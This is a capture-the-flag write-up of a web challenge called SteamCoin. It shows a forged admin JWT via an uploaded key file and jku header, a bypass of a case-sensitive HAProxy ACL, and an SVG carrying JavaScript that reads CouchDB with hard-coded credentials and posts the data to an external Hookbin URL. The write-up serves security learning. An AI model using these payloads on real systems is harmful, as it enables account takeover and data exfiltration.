Meet SteamCoin, the first decentralized cryptocurrency of the SteamPunk realm that provides you the liberty to exchange value without intermediaries and translates to greater control of funds and lower fees. Sign up today in our SteamCoin wallet to get equipped with the tools and information you need to buy, sell, trade, invest, and spend SteamCoins.
Category: Web
Solver: nh1729, n1k0, t0b1
Flag: HTB{w3_d0_4_l1ttl3_c0uch_d0wnl04d1ng}
Writeup
The challenge consists of a Node.js web service hosted in a docker container. We are provided with the docker file. It is a login interface that allows creating new users and uploading files with common image file extensions. The users are managed by a CouchDB and the service is placed behind a HAProxy.
The server provides file upload of files with the extentions jpg
, png
, svg
or pdf
. The files are saved on the server and are accessible. Their name is replaced with their MD5 hash. For every user, the latest file name is saved in CouchDB. If a user uploads another file, the previous one is being deleted. As we see in the database.js
file, the filename that is stored for the admin is the flag we are looking for.
At multiple points in the code, the username admin
is handled differently than other users. In particular, this user cannot access the settings page where the current file name is displayed. But there is a special route /api/test-ui
which looks promising. If requested by the admin, provided an abitrary path and keyword, this route starts a puppeteer browser instance that visits the path on localhost:1337
and returns whether the keyword occurs in the body of the requested page.
We want to authenticate as admin. Therefore, we examine the authentication mechanism. It uses JWTs [3] stored in cookies. The tokens contain, among other information, a url to the corresponding public key. The server ensures that this path points to a file on localhost:1337
. Since we could upload files with arbitrary content, we generated a new key pair and uploaded the public key to the server according to the format given in the one that was supposed to be used.
const NodeRSA = require('node-rsa');
// uncomment to load existing key pair
//const KEY = new NodeRSA(private_key_string);
// comment to load existing key pair
KEY = new NodeRSA({b: 512});
KEY.generateKeyPair();
PUBLIC_KEY = KEY.exportKey('public');
PRIVATE_KEY = KEY.exportKey('private');
const pub_key = {"keys":[{
"alg":"RS256",
"kty":"RSA",
"use":"sig",
"e":"AQAB",
"n":KEY_COMP.n.toString('base64'),
"kid":"e121e6be-55e3-4631-9339-4583f7b0f1b8"}
]}
console.log(JSON.stringify(pub_key))
// save for later
console.log(PRIVATE_KEY);
// generate public key file
KEY_COMP = KEY.exportKey('components-public');
We had to use the file extension .svg
since only image extensions and .pdf
are allowed.
mykey.svg
{"keys":[{"alg":"RS256","kty":"RSA","use":"sig","e":"AQAB","n":"AOT6Q/wJ1YEskta9uQ+309X598J7qeWFEh5ProG1aNvZUyJYYx258gqdWHZlRNHyweMeWMDxk3BKjrDIfwHm514bm9BXeC1qlxxoHwNDbWGbjONyKNcdN0mBF9TRKpgVhfR5oPSjuQ2eKhTD/RSpRsQGiRIF22aNQqFAGNaz0L92qat/hnWxKqUq3amxVMwTeJcrCaUSf5HddBQw/NxJKanOhQlgyw1lsmMg3y4eTmiO75fxfJ39MBo+ruUKPVlF3lS2WtM79G57USCB6bNxdbQYTZ4umZVuyM8MUih+nb4wm6yzOjYtfspT1Zwh5twaNb5u7kDYWSNPIRNgtlmghoc=","kid":"e121e6be-55e3-4631-9339-4583f7b0f1b8"}]}
Then, we used the path shown to us to craft a cookie for admin signed with our new key.
const jwt = require('jsonwebtoken');
const token = jwt.sign(
{ username: 'admin' },
PRIVATE_KEY,
{
algorithm: 'RS256',
header: {
kid: "e121e6be-55e3-4631-9339-4583f7b0f1b8",
// key file url inserted after file upload
jku: "http://localhost:1337/uploads/267cb56291c0cf478d9d45ebd39bd864.svg"
}
}
)
console.log(token);
Output: eyJhbGciOiJSUzI1NiIsInR5cCI6IkpXVCIsImtpZCI6ImUxMjFlNmJlLTU1ZTMtNDYzMS05MzM5LTQ1ODNmN2IwZjFiOCIsImprdSI6Imh0dHA6Ly9sb2NhbGhvc3Q6MTMzNy91cGxvYWRzLzI2N2NiNTYyOTFjMGNmNDc4ZDlkNDVlYmQzOWJkODY0LnN2ZyJ9.eyJ1c2VybmFtZSI6ImFkbWluIiwiaWF0IjoxNjM3NTA5MTEwfQ.gmwKNPdBwjP-fklUDz81Bxd6fA1c5OpEgKdxszfiPDfIsLMon0KNm0l1Nw8_72vRxB27YbHOTUHpl3Mtvlo9wQA1VFZ_ctuWcEe36b0TbmAX1xQd8CYVFMZ60h-kioFaRYESaYHq3ke2dE0SP4V6UJPTgJDDrFi4dVZ0nQoSpMZu7UaT-ZMbce8oYh1_zvqd-lYqKi1-kgj_IcX8et3LMmuhon4qe02JbK2ItiNRkBOplRHmOkrFcHoCTipgjZYM1gdHI-FX57qV6J74Ir-1PoxNaxnqjU6a-edLvqBncoMW5J2-FGy1sMj7KHZDZAmF_aBxR6ulwOoV22KNvLMC8g
Using this session
cookie, we are logged in as admin.
The website itself does not reveal any significant insight. settings
redirects to dashboard
. However, we now may access /api/test-ui
- at least from Node’s point of view. However, the HAProxy locks any access from anywhere but localhost.
acl network_allowed src 127.0.0.1
acl restricted_page path_beg /api/test-ui
http-request deny if restricted_page !network_allowed
Coincidentally, the pretty much similar route /api/Test-ui
is not affected since HAProxy is case sensitive by default while Node.js
is not.
We identified that in order to obtain the flag, we either need to read the database files maintained by CouchDB
or directly send requests to it. The only option for now was to send simple GET requests from the server on port 1337. However, we can circumvent the restriction on ports and request type by pointing the puppeteer to a file that triggers a request to the database. We used [2] to create another .svg
file, this time containing an XSS exploit to connect to the database [1], read all information about the admin user, and send it to us via Hookbin [4]. The CouchDB uses the default password which is also hard-coded in the challenge files.
<?xml version="1.0" standalone="no"?>
<!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 1.1//EN" "http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd">
<svg version="1.1" baseProfile="full" xmlns="http://www.w3.org/2000/svg">
<polygon id="triangle" points="0,0 0,50 50,0" fill="#009900" stroke="#004400"/>
<script type="text/javascript">
fetch("http://127.0.0.1:5984/users/admin", {
headers: {
"Authorization": "Basic " + btoa("admin:youwouldntdownloadacouch"),
}
}).then(response => {
response.text().then(text => {
fetch("https://hookb.in/LgVYrDBPaZh18Vqq8KRz", {
method: 'POST',
headers: { 'Content-Type': 'application/json' },
body: JSON.stringify({ text })
});
})
}).catch(error => {
console.log(error);
fetch("https://hookb.in/LgVYrDBPaZh18Vqq8KRz", {
method: 'POST',
headers: { 'Content-Type': 'application/json' },
body: JSON.stringify({ error: error.toString() })
});
})
</script>
</svg>
To trigger the attack, we sent a POST request with the path of this uploaded SVG, an arbitrary, non-empty keyword, the header Content-Type: application/json
, and the admin cookie to the test-ui API endpoint.
{
path: "uploads/9faef55ccf126047094b70fe727c2b83.svg",
keyword: "svg",
}
The puppeteer bot loaded our crafted SVG and executed the JavaScript code inside. It performed a request from the internal network, read the content of the CouchDB, and sent this to us. This revealed the flag.
Other resources
[1] https://docs.couchdb.org/en/stable/api/index.html
[2] https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/XSS Injection#xss-in-files
[3] https://jwt.io/